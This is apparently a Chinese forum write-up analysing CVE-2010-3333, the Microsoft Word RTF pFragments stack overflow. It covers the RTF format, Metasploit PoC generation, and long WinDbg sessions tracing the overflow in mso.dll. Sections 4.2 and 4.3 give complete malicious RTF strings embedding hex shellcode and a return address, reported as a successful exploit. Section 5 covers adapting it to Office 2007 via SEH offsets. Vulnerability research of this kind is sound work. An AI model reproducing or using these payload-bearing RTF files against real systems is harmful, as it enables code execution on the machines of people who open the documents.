其他
新的漏洞分析体验:CVE-2010-3333 RTF栈缓冲区溢出漏洞
本文为看雪论坛优秀文章
1
前言
1.1 一些碎碎念
1.2 漏洞介绍
2
RTF格式介绍
{\rtf\ansi\deff0{\fonttbl{\f0\froman Tms Rmn;}{\f1\fdecor Symbol;}{\f2\fswiss Helv;}}
{\colortbl;\red0\green0\blue0;\red0\green0\blue255;\red0\green255\blue255;\red0\green255\blue0;\red255\green0\blue255;\red255\green0\blue0;\red255\green255\blue0;\red255\green255\blue255;}
{\stylesheet{\fs20 \snext0Normal;}}
{\info{\author John Doe}{\creatim\yr1990\mo7\dy30\hr10\min48}{\version1}{\edmins0}{\nofpages1}{\nofwords0}{\nofchars0}{\vern8351}}
\widoctrl\ftnbj \sectd\linex0\endnhere \pard\plain \fs20 This is plain text.\par}
2.1 控制单元
数字或者-数字,数字是参数,0表示该属性关闭;
一个空格。如果超过一个空格,多余的空格会当作内容显示在文档中;
其他非字母字符。这个非字母的字符标志着控制字结束了,但是字符本身会作为内容显示在文档中。
2.2 整体结构
<header>
\rtf <charset> \deff? <fonttbl> <filetbl>? <colortbl>? <stylesheet>? <listtables>? <revtbl>?
<document>
<info>? <docfmt>* <section>+
2.3 针对漏洞的格式介绍
{ \shp ........ { \*\shpinst { \sp { \sn .......... } { \sv .............. } } }
{ \shprslt ............... } }
3
初步调试分析
3.1 使用Metasploit生成调试用Poc文件
3.1.1 搜索
msf6 > search pFragments
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/fileformat/ms10_087_rtf_pfragments_bof 2010-11-09 great No MS10-087 Microsoft Word RTF pFragments Stack Buffer Overflow (File Format)
Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
3.1.2 生成PoC文件
msf6 > use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > info
Name: MS10-087 Microsoft Word RTF pFragments Stack Buffer Overflow (File Format)
Module: exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
Platform: Windows
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Great
Disclosed: 2010-11-09
Provided by:
wushi of team509
unknown
jduck <jduck@metasploit.com>
DJ Manila Ice, Vesh, CA
Available targets:
Id Name
-- ----
0 Automatic
1 Microsoft Office 2002 SP3 English on Windows XP SP3 English
2 Microsoft Office 2003 SP3 English on Windows XP SP3 English
3 Microsoft Office 2007 SP0 English on Windows XP SP3 English
4 Microsoft Office 2007 SP0 English on Windows Vista SP0 English
5 Microsoft Office 2007 SP0 English on Windows 7 SP0 English
6 Crash Target for Debugging
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME msf.rtf yes The file name.
Payload information:
Space: 512
Avoid: 1 characters
Description:
This module exploits a stack-based buffer overflow in the handling
of the 'pFragments' shape property within the Microsoft Word RTF
parser. All versions of Microsoft Office 2010, 2007, 2003, and XP
prior to the release of the MS10-087 bulletin are vulnerable. This
module does not attempt to exploit the vulnerability via Microsoft
Outlook. The Microsoft Word RTF parser was only used by default in
versions of Microsoft Word itself prior to Office 2007. With the
release of Office 2007, Microsoft began using the Word RTF parser,
by default, to handle rich-text messages within Outlook as well. It
was possible to configure Outlook 2003 and earlier to use the
Microsoft Word engine too, but it was not a default setting. It
appears as though Microsoft Office 2000 is not vulnerable. It is
unlikely that Microsoft will confirm or deny this since Office 2000
has reached its support cycle end-of-life.
References:
https://nvd.nist.gov/vuln/detail/CVE-2010-3333
OSVDB (69085)
https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2010/MS10-087
http://www.securityfocus.com/bid/44652
http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=880
msf6 exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > set target 6
target => 6
msf6 exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > exploit
[*] Creating 'msf.rtf' file ...
[+] msf.rtf stored at /root/.msf4/local/msf.rtf
3.2 PoC文件调试
3.2.1 确定漏洞发生原因
0:003> g
ModLoad: 77b40000 77b62000 C:\WINDOWS\system32\appHelp.dll
ModLoad: 77a20000 77a74000 C:\WINDOWS\System32\cscui.dll
ModLoad: 76600000 7661d000 C:\WINDOWS\System32\CSCDLL.dll
ModLoad: 5b860000 5b8b5000 C:\WINDOWS\system32\netapi32.dll
ModLoad: 76990000 769b5000 C:\WINDOWS\system32\ntshrui.dll
ModLoad: 76b20000 76b31000 C:\WINDOWS\system32\ATL.DLL
ModLoad: 769c0000 76a74000 C:\WINDOWS\system32\USERENV.dll
ModLoad: 75f80000 7607d000 C:\WINDOWS\system32\browseui.dll
ModLoad: 7e290000 7e401000 C:\WINDOWS\system32\shdocvw.dll
ModLoad: 754d0000 75550000 C:\WINDOWS\system32\CRYPTUI.dll
ModLoad: 76c30000 76c5e000 C:\WINDOWS\system32\WINTRUST.dll
ModLoad: 76c90000 76cb8000 C:\WINDOWS\system32\IMAGEHLP.dll
ModLoad: 76f60000 76f8c000 C:\WINDOWS\system32\WLDAP32.dll
ModLoad: 76980000 76988000 C:\WINDOWS\system32\LINKINFO.dll
ModLoad: 36c30000 36c39000 C:\Program Files\Microsoft Office\OFFICE11\msostyle.dll
ModLoad: 39800000 399b3000 C:\Program Files\Microsoft Office\OFFICE11\GdiPlus.DLL
ModLoad: 76f50000 76f58000 C:\WINDOWS\system32\WTSAPI32.DLL
ModLoad: 76360000 76370000 C:\WINDOWS\system32\WINSTA.dll
(d68.e9c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0000c8ac ebx=05000000 ecx=0000019b edx=00000000 esi=1104c24c edi=00130000
eip=30e9eb88 esp=00123d98 ebp=00123dd0 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Common Files\Microsoft Shared\office11\mso.dll -
mso!Ordinal6426+0x64d:
30e9eb88 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
0:000> db esi
1104c24c 4c 74 36 4c 74 37 4c 74-38 4c 74 39 4c 75 30 4c Lt6Lt7Lt8Lt9Lu0L
1104c25c 75 31 4c 75 32 4c 75 33-4c 75 34 4c 75 35 4c 75 u1Lu2Lu3Lu4Lu5Lu
1104c26c 36 4c 75 37 4c 75 38 4c-75 39 4c 76 30 4c 76 31 6Lu7Lu8Lu9Lv0Lv1
1104c27c 4c 76 32 4c 76 33 4c 76-34 4c 76 35 4c 76 36 4c Lv2Lv3Lv4Lv5Lv6L
1104c28c 76 37 4c 76 38 4c 76 39-4c 77 30 4c 77 31 4c 77 v7Lv8Lv9Lw0Lw1Lw
1104c29c 32 4c 77 33 4c 77 34 4c-77 35 4c 77 36 4c 77 37 2Lw3Lw4Lw5Lw6Lw7
1104c2ac 4c 77 38 4c 77 39 4c 78-30 4c 78 31 4c 78 32 4c Lw8Lw9Lx0Lx1Lx2L
1104c2bc 78 33 4c 78 34 4c 78 35-4c 78 36 4c 78 37 4c 78 x3Lx4Lx5Lx6Lx7Lx
0:000> db edi
00130000 41 63 74 78 20 00 00 00-01 00 00 00 98 24 00 00 Actx ........$..
00130010 c4 00 00 00 00 00 00 00-20 00 00 00 00 00 00 00 ........ .......
00130020 14 00 00 00 01 00 00 00-06 00 00 00 34 00 00 00 ............4...
00130030 14 01 00 00 01 00 00 00-00 00 00 00 00 00 00 00 ................
00130040 00 00 00 00 00 00 00 00-00 00 00 00 02 00 00 00 ................
00130050 00 00 00 00 00 00 00 00-00 00 00 00 14 02 00 00 ................
00130060 9c 01 00 00 00 00 00 00-5b 49 59 2d b0 03 00 00 ........[IY-....
00130070 32 00 00 00 e4 03 00 00-d2 02 00 00 00 00 00 00 2...............
0:000> !address esi
Usage: <unclassified>
Allocation Base: 11040000
Base Address: 11040000
End Address: 1e64c000
Region Size: 0d60c000
Type: 00020000 MEM_PRIVATE
State: 00001000 MEM_COMMIT
Protect: 00000004 PAGE_READWRITE
0:000> !address edi
Usage: MemoryMappedFile
Allocation Base: 00130000
Base Address: 00130000
End Address: 00133000
Region Size: 00003000
Type: 00040000 MEM_MAPPED
State: 00001000 MEM_COMMIT
Protect: 00000002 PAGE_READONLY
Mapped file name: PageFile
0:000> db esp
00123d98 f0 10 49 01 88 3f 12 00-96 cc f4 30 f0 10 49 01 ..I..?.....0..I.
00123da8 c0 3d 12 00 00 00 00 00-00 00 00 00 00 00 00 00 .=..............
00123db8 00 00 00 00 a8 5c 59 64-41 61 30 41 61 31 41 61 .....\YdAa0Aa1Aa
00123dc8 32 41 61 33 41 61 34 41-61 35 41 61 36 41 61 37 2Aa3Aa4Aa5Aa6Aa7
00123dd8 41 61 38 41 61 39 41 62-30 41 62 31 41 62 32 41 Aa8Aa9Ab0Ab1Ab2A
00123de8 62 33 41 62 34 41 62 35-41 62 36 41 62 37 41 62 b3Ab4Ab5Ab6Ab7Ab
00123df8 38 41 62 39 41 63 30 41-63 31 41 63 32 41 63 33 8Ab9Ac0Ac1Ac2Ac3
00123e08 41 63 34 41 63 35 41 63-36 41 63 37 41 63 38 41 Ac4Ac5Ac6Ac7Ac8A
3.2.2 确定数据来源
{\rtf1{\shp{\sp{\sn pFragments}{\sv 7;6;11111111acc8416130416131416132416133416134416135416136416137416138416139416230416231416232416233416234416235416236416237416238416239416330416331416332416333416334416335416336416337416338416339416430416431416432416433416434416435416436416437416438416439416530416531416532416533416534416535416536416537416538416539416630416631416632416633416634416635416636416637416638416639416730416731416732416733416734416735416736416737416738416739416830416831416832416833416834416835416836416837416838416839416930416931416932416933416934416935416936416937416938416939416a30416a31416a32416a33416a34416a35416a36416a37416a38416a39416b30416b31416b32416b33416b34416b35416b36416b37416b38416b39416c30416c31416c32416c33416c34416c35416c36416c37416c38416c39416d30416d31416d32416d33416d34416d35416d36416d37416d38416d39416e30416e31416e32416e33416e34416e35416e36416e37416e38416e39416f30416f31416f32416f33416f34416f35416f36416f37416f38416f39417030417031417032417033417034417035417036417037417038417039417130417131417132417133417134417135417136417137417138417139417230417231417232417233417234417235417236417237417238417239417330417331417332417333417334417335417336417337417338417339417430417431417432417433417434417435417436417437417438417439417530417531417532417533417534417535417536417537417538417539417630417631417632417633417634417635417636417637417638417639417730417731417732417733417734417735417736417737417738417739417830417831417832417833417834417835417836417837417838417839417930417931417932417933417934417935417936417937417938417939417a30417a31417a32417a33417a34417a35417a36417a37417a38417a39426130426131426132426133426134426135426136426137426138426139426230426231426232426233426234426235426236426237426238426239426330426331426332426333426334426335426336426337426338426339426430426431426432426433426434426435426436426437426438426439426530426531426532426533426534426535426536426537426538426539426630426631426632426633426634426635426636426637426638426639426730426731426732426733426734426735426736426737426738426739426830426831426832426833426834426835426836426837426838426839426930426931426932426933426934426935426936426937426938426939426a30426a31426a32426a33426a34426a35426a36426a37426a38426a39426b30426b31426b32426b33426b34426b35426b36426b37426b38426b39426c30426c31426c32426c33426c34426c35426c36426c37426c38426c39426d30426d31426d32426d33426d34426d35426d36426d37426d38426d39426e30426e31426e32426e33426e34426e35426e36426e37426e38426e39426f30426f31426f32426f33426f34426f35426f36426f37426f38426f39427030427031427032427033427034427035427036427037427038427039427130427131427132427133427134427135427136427137427138427139427230427231427232427233427234427235427236427237427238427239427330427331427332427333427334427335427336427337427338427339427430427431427432427433427434427435427436427437427438427439427530427531427532427533
……
3.2.3 进一步调试分析
0:004> bp 30e9eb88
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Common Files\Microsoft Shared\office11\mso.dll -
0:004> g
ModLoad: 77b40000 77b62000 C:\WINDOWS\system32\appHelp.dll
ModLoad: 77a20000 77a74000 C:\WINDOWS\System32\cscui.dll
ModLoad: 76600000 7661d000 C:\WINDOWS\System32\CSCDLL.dll
ModLoad: 5b860000 5b8b5000 C:\WINDOWS\system32\netapi32.dll
ModLoad: 76990000 769b5000 C:\WINDOWS\system32\ntshrui.dll
ModLoad: 76b20000 76b31000 C:\WINDOWS\system32\ATL.DLL
ModLoad: 769c0000 76a74000 C:\WINDOWS\system32\USERENV.dll
ModLoad: 75f80000 7607d000 C:\WINDOWS\system32\browseui.dll
ModLoad: 7e290000 7e401000 C:\WINDOWS\system32\shdocvw.dll
ModLoad: 754d0000 75550000 C:\WINDOWS\system32\CRYPTUI.dll
ModLoad: 76c30000 76c5e000 C:\WINDOWS\system32\WINTRUST.dll
ModLoad: 76c90000 76cb8000 C:\WINDOWS\system32\IMAGEHLP.dll
ModLoad: 76f60000 76f8c000 C:\WINDOWS\system32\WLDAP32.dll
ModLoad: 76980000 76988000 C:\WINDOWS\system32\LINKINFO.dll
ModLoad: 36c30000 36c39000 C:\Program Files\Microsoft Office\OFFICE11\msostyle.dll
ModLoad: 39800000 399b3000 C:\Program Files\Microsoft Office\OFFICE11\GdiPlus.DLL
ModLoad: 76f50000 76f58000 C:\WINDOWS\system32\WTSAPI32.DLL
ModLoad: 76360000 76370000 C:\WINDOWS\system32\WINSTA.dll
Breakpoint 0 hit
eax=0000c8ac ebx=05000000 ecx=0000322b edx=00000000 esi=1104000c edi=00123dc0
eip=30e9eb88 esp=00123d98 ebp=00123dd0 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mso!Ordinal6426+0x64d:
30e9eb88 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
0:000> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
00123dd0 30f4cdbd 00123f3c 00000000 ffffffff mso!Ordinal6426+0x64d
00123e00 30f4a597 00123f88 00123f3c 00000000 mso!Ordinal753+0x306e
0012404c 30d4b199 00000000 0012408c 00000000 mso!Ordinal753+0x848
00124074 30d4b148 30d4ae32 014914c8 01491500 mso!Ordinal4196+0x61f
00124078 30d4ae32 014914c8 01491500 014913b0 mso!Ordinal4196+0x5ce
0012407c 014914c8 01491500 014913b0 30dc9d44 mso!Ordinal4196+0x2b8
00124080 01491500 014913b0 30dc9d44 00000000 0x14914c8
00124084 014913b0 30dc9d44 00000000 01491118 0x1491500
00124088 30dc9d44 00000000 01491118 00124e38 0x14913b0
0012408c 00000000 01491118 00124e38 00000000 mso!Ordinal2940+0x158fc
0:000> ub mso!Ordinal753+0x306e
mso!Ordinal753+0x305a:
30f4cda9 23c1 and eax,ecx
30f4cdab 50 push eax
30f4cdac 8d47ff lea eax,[edi-1]
30f4cdaf 50 push eax
30f4cdb0 8b4508 mov eax,dword ptr [ebp+8]
30f4cdb3 6a00 push 0
30f4cdb5 ff750c push dword ptr [ebp+0Ch]
30f4cdb8 e8a0feffff call mso!Ordinal753+0x2f0e (30f4cc5d)
0:004> bp 0x30F4CC5D
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Common Files\Microsoft Shared\office11\mso.dll -
0:004> g
ModLoad: 77b40000 77b62000 C:\WINDOWS\system32\appHelp.dll
ModLoad: 77a20000 77a74000 C:\WINDOWS\System32\cscui.dll
ModLoad: 76600000 7661d000 C:\WINDOWS\System32\CSCDLL.dll
ModLoad: 5b860000 5b8b5000 C:\WINDOWS\system32\netapi32.dll
ModLoad: 76990000 769b5000 C:\WINDOWS\system32\ntshrui.dll
ModLoad: 76b20000 76b31000 C:\WINDOWS\system32\ATL.DLL
ModLoad: 769c0000 76a74000 C:\WINDOWS\system32\USERENV.dll
ModLoad: 75f80000 7607d000 C:\WINDOWS\system32\browseui.dll
ModLoad: 7e290000 7e401000 C:\WINDOWS\system32\shdocvw.dll
ModLoad: 754d0000 75550000 C:\WINDOWS\system32\CRYPTUI.dll
ModLoad: 76c30000 76c5e000 C:\WINDOWS\system32\WINTRUST.dll
ModLoad: 76c90000 76cb8000 C:\WINDOWS\system32\IMAGEHLP.dll
ModLoad: 76f60000 76f8c000 C:\WINDOWS\system32\WLDAP32.dll
ModLoad: 76980000 76988000 C:\WINDOWS\system32\LINKINFO.dll
ModLoad: 36c30000 36c39000 C:\Program Files\Microsoft Office\OFFICE11\msostyle.dll
ModLoad: 39800000 399b3000 C:\Program Files\Microsoft Office\OFFICE11\GdiPlus.DLL
ModLoad: 76f50000 76f58000 C:\WINDOWS\system32\WTSAPI32.DLL
ModLoad: 76360000 76370000 C:\WINDOWS\system32\WINSTA.dll
Breakpoint 0 hit
eax=00123f88 ebx=00000000 ecx=00123dfc edx=00000000 esi=00000000 edi=00000000
eip=30f4cc5d esp=00123dd4 ebp=00123e00 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mso!Ordinal753+0x2f0e:
30f4cc5d 55 push ebp
0:000> p
eax=30d9ed10 ebx=05000000 ecx=00123dc0 edx=00000000 esi=014910f0 edi=00123f88
eip=30f4cc93 esp=00123da4 ebp=00123dd0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mso!Ordinal753+0x2f44:
30f4cc93 ff501c call dword ptr [eax+1Ch] ds:0023:30d9ed2c=30e9eb62
0:000> uf eip
mso!Ordinal6426+0x627:
30e9eb62 57 push edi
30e9eb63 8b7c240c mov edi,dword ptr [esp+0Ch]
30e9eb67 85ff test edi,edi
30e9eb69 7427 je mso!Ordinal6426+0x657 (30e9eb92)
mso!Ordinal6426+0x630:
30e9eb6b 8b442408 mov eax,dword ptr [esp+8]
30e9eb6f 8b4808 mov ecx,dword ptr [eax+8]
30e9eb72 81e1ffff0000 and ecx,0FFFFh
30e9eb78 56 push esi
30e9eb79 8bf1 mov esi,ecx
30e9eb7b 0faf742414 imul esi,dword ptr [esp+14h]
30e9eb80 037010 add esi,dword ptr [eax+10h]
30e9eb83 8bc1 mov eax,ecx
30e9eb85 c1e902 shr ecx,2
30e9eb88 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
0:000> p
eax=30d9ed10 ebx=05000000 ecx=00123dc0 edx=00000000 esi=014910f0 edi=00123f88
eip=30e9eb63 esp=00123d9c ebp=00123dd0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mso!Ordinal6426+0x628:
30e9eb63 8b7c240c mov edi,dword ptr [esp+0Ch] ss:0023:00123da8=00123dc0
0:000> db edi-4
00123dbc a8 5c 59 64 ea 80 fb 3f-00 00 00 05 00 00 00 00 .\Yd...?........
00123dcc 06 40 00 00 00 3e 12 00-bd cd f4 30 3c 3f 12 00 .@...>.....0<?..
00123ddc 00 00 00 00 ff ff ff ff-00 00 00 00 e0 14 49 01 ..............I.
00123dec 20 44 12 00 8c 40 12 00-38 4e 12 00 b0 40 12 00 D...@..8N...@..
00123dfc 00 00 00 00 e4 3f 12 00-97 a5 f4 30 88 3f 12 00 .....?.....0.?..
00123e0c 3c 3f 12 00 00 00 00 00-e0 14 49 01 8c 40 12 00 <?........I..@..
00123e1c 20 44 12 00 00 00 00 00-ff ff ff ff ff ff ff ff D..............
00123e2c ff ff ff ff 00 00 00 00-00 00 00 20 01 01 00 00 ........... ....
0:000> p
eax=014910f0 ebx=05000000 ecx=00123dc0 edx=00000000 esi=014910f0 edi=00123dc0
eip=30e9eb6f esp=00123d9c ebp=00123dd0 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mso!Ordinal6426+0x634:
30e9eb6f 8b4808 mov ecx,dword ptr [eax+8] ds:0023:014910f8=0004c8ac
0:000> p
eax=014910f0 ebx=05000000 ecx=0004c8ac edx=00000000 esi=014910f0 edi=00123dc0
eip=30e9eb72 esp=00123d9c ebp=00123dd0 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mso!Ordinal6426+0x637:
30e9eb72 81e1ffff0000 and ecx,0FFFFh
0:000> p
eax=0000c8ac ebx=05000000 ecx=0000c8ac edx=00000000 esi=1104000c edi=00123dc0
eip=30e9eb85 esp=00123d98 ebp=00123dd0 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mso!Ordinal6426+0x64a:
30e9eb85 c1e902 shr ecx,2
0:000> p
eax=014910f0 ebx=05000000 ecx=0000c8ac edx=00000000 esi=00000000 edi=00123dc0
eip=30e9eb80 esp=00123d98 ebp=00123dd0 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mso!Ordinal6426+0x645:
30e9eb80 037010 add esi,dword ptr [eax+10h] ds:0023:01491100=1104000c
0:000> db esi
1104000c 41 61 30 41 61 31 41 61-32 41 61 33 41 61 34 41 Aa0Aa1Aa2Aa3Aa4A
1104001c 61 35 41 61 36 41 61 37-41 61 38 41 61 39 41 62 a5Aa6Aa7Aa8Aa9Ab
1104002c 30 41 62 31 41 62 32 41-62 33 41 62 34 41 62 35 0Ab1Ab2Ab3Ab4Ab5
1104003c 41 62 36 41 62 37 41 62-38 41 62 39 41 63 30 41 Ab6Ab7Ab8Ab9Ac0A
1104004c 63 31 41 63 32 41 63 33-41 63 34 41 63 35 41 63 c1Ac2Ac3Ac4Ac5Ac
1104005c 36 41 63 37 41 63 38 41-63 39 41 64 30 41 64 31 6Ac7Ac8Ac9Ad0Ad1
1104006c 41 64 32 41 64 33 41 64-34 41 64 35 41 64 36 41 Ad2Ad3Ad4Ad5Ad6A
1104007c 64 37 41 64 38 41 64 39-41 65 30 41 65 31 41 65 d7Ad8Ad9Ae0Ae1Ae
0000h: 11 11 11 11 AC C8 41 61 30 41 61 31 41 61 32 41
0:000> r
eax=0000c8ac ebx=05000000 ecx=0000322b edx=00000000 esi=1104000c edi=00123dc0
eip=30e9eb88 esp=00123d98 ebp=00123dd0 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mso!Ordinal6426+0x64d:
30e9eb88 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
3.3 小总结
4
构造漏洞利用的poc文件
mso!Ordinal6426+0x64d:
30e9eb88 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
0:000> lm vm mso
start end module name
30c90000 31837000 mso (export symbols) C:\Program Files\Common Files\Microsoft Shared\office11\mso.dll
Loaded symbol image file: C:\Program Files\Common Files\Microsoft Shared\office11\mso.dll
Image path: C:\Program Files\Common Files\Microsoft Shared\office11\mso.dll
Image name: mso.dll
Timestamp: Fri Aug 08 15:10:06 2003 (3F334CCE)
CheckSum: 00BA7175
ImageSize: 00BA7000
File version: 11.0.5606.0
Product version: 11.0.5606.0
File flags: 0 (Mask 3F)
File OS: 40004 NT Win32
File type: 2.0 Dll
File date: 00000000.00000000
Translations: 0000.04e4
CompanyName: Microsoft Corporation
ProductName: Microsoft Office 2003
InternalName: MSO
OriginalFilename: MSO.DLL
ProductVersion: 11.0.5606
FileVersion: 11.0.5606
FileDescription: Microsoft Office 2003 component
LegalCopyright: Copyright © 1983-2003 Microsoft Corporation. All rights reserved.
4.1 静态分析mso.dll
char __userpurge sub_30F4CB1D@<al>(int a1@<edx>, int a2@<edi>, int ecx0@<ecx>, int a3, int a4, int a5)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
if ( !a5 )
{
sub_31439DD5(ecx0, a1);
return 0;
}
...
}
4.2 确定特殊值的位置
{\rtf1{\shp{\sp{\sn pFragments}{\sv 7;6;11111111600090909090909090909090909090909090909090902f762600909090909191919192929292939393939494949433db536877657374686661696c8bc453505053b8ea07457effd053b8faca817cffd05b8be55dc3}}}}
0:000> p
eax=93939393 ebx=05000000 ecx=00000000 edx=00000000 esi=01491168 edi=00123f88
eip=30f4cc99 esp=00123db0 ebp=00123dd0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mso!Ordinal753+0x2f4a:
30f4cc99 ff7518 push dword ptr [ebp+18h] ss:0023:00123de8=94949494
0:000> p
eax=00123dc8 ebx=00000000 ecx=00123dc8 edx=90909090 esi=01491168 edi=00123f88
eip=30f4cb26 esp=00123d8c ebp=00123d9c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mso!Ordinal753+0x2dd7:
30f4cb26 395d10 cmp dword ptr [ebp+10h],ebx ss:0023:00123dac=94949494
4.3 成功
{\rtf1{\shp{\sp{\sn pFragments}{\sv 7;6;11111111600090909090909090909090909090909090909090902f762600909090909191919192929292939393930000000033db536877657374686661696c8bc453505053b8ea07457effd053b8faca817cffd05b8be55dc3}}}}
5
一些补充问题
5.1 office2003和office2007的通用性
5.1.1 office2007环境下遇到的问题
0:004> g
ModLoad: 3c4c0000 3c4df000 C:\WINDOWS\system32\IMSC12.IME
ModLoad: 3c430000 3c4a2000 C:\Program Files\Common Files\Microsoft Shared\ime12\Imesc\IMSCUI.DLL
ModLoad: 39e20000 39e2a000 C:\Program Files\Microsoft Office\Office12\MSOSTYLE.DLL
ModLoad: 77b40000 77b62000 C:\WINDOWS\system32\appHelp.dll
ModLoad: 77a20000 77a74000 C:\WINDOWS\System32\cscui.dll
ModLoad: 76600000 7661d000 C:\WINDOWS\System32\CSCDLL.dll
ModLoad: 5b860000 5b8b5000 C:\WINDOWS\system32\netapi32.dll
ModLoad: 75f80000 7607d000 C:\WINDOWS\system32\browseui.dll
ModLoad: 76990000 769b5000 C:\WINDOWS\system32\ntshrui.dll
ModLoad: 76b20000 76b31000 C:\WINDOWS\system32\ATL.DLL
ModLoad: 769c0000 76a74000 C:\WINDOWS\system32\USERENV.dll
ModLoad: 7e290000 7e401000 C:\WINDOWS\system32\SHDOCVW.dll
ModLoad: 77a80000 77b15000 C:\WINDOWS\system32\CRYPT32.dll
ModLoad: 77b20000 77b32000 C:\WINDOWS\system32\MSASN1.dll
ModLoad: 754d0000 75550000 C:\WINDOWS\system32\CRYPTUI.dll
ModLoad: 771b0000 7725a000 C:\WINDOWS\system32\WININET.dll
ModLoad: 76c30000 76c5e000 C:\WINDOWS\system32\WINTRUST.dll
ModLoad: 76c90000 76cb8000 C:\WINDOWS\system32\IMAGEHLP.dll
ModLoad: 76f60000 76f8c000 C:\WINDOWS\system32\WLDAP32.dll
ModLoad: 76980000 76988000 C:\WINDOWS\system32\LINKINFO.dll
ModLoad: 3bd10000 3bea5000 C:\Program Files\Common Files\Microsoft Shared\OFFICE12\OGL.DLL
ModLoad: 76f50000 76f58000 C:\WINDOWS\system32\WTSAPI32.DLL
ModLoad: 76360000 76370000 C:\WINDOWS\system32\WINSTA.dll
(d94.dc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=3c523e10 ebx=00000000 ecx=0011ffac edx=00000000 esi=04207998 edi=00120168
eip=32cf33fc esp=0011ff60 ebp=0011ff60 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Common Files\Microsoft Shared\office12\mso.dll -
mso!Ordinal7356+0x1315:
32cf33fc 8b4804 mov ecx,dword ptr [eax+4] ds:0023:3c523e14=????????
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Microsoft Office\Office12\wwlib.dll -
就是上图中“诡异的运算”那里。这个异常应该是我在上文提到的特殊位置如果不设置为0会遇到的异常。
0:000> db esp
0011ff60 7c ff 11 00 a1 79 e5 32-74 ff 11 00 41 61 30 41 |....y.2t...Aa0A
0011ff70 00 00 00 05 00 00 00 00-ac ff 11 00 b4 ff 11 00 ................
0011ff80 13 7b e5 32 41 61 30 41-41 61 38 41 ac ff 11 00 .{.2Aa0AAa8A....
0011ff90 62 33 41 62 00 00 00 00-00 00 00 00 00 00 00 00 b3Ab............
0011ffa0 c4 00 97 00 41 61 30 41-61 31 41 61 32 41 61 33 ....Aa0Aa1Aa2Aa3
0011ffb0 41 61 34 41 61 35 41 61-36 41 61 37 41 61 38 41 Aa4Aa5Aa6Aa7Aa8A
0011ffc0 61 39 41 62 30 41 62 31-41 62 32 41 62 33 41 62 a9Ab0Ab1Ab2Ab3Ab
0011ffd0 34 41 62 35 41 62 36 41-62 37 41 62 38 41 62 39 4Ab5Ab6Ab7Ab8Ab9
5.1.2 如何使用msf确定SEH handler的位置
这个时候得到的文件内容为:
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5...
0:000> g
(b80.808): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=37714836 edx=7c9032bc esi=00000000 edi=00000000
eip=37714836 esp=0011fb90 ebp=0011fbb0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
37714836 ?? ???
[*] Exact match at offset 5960
[*] Exact match at offset 26240
[*] Exact match at offset 46520
(a9c.a00): Access violation - code c0000005 (first chance)
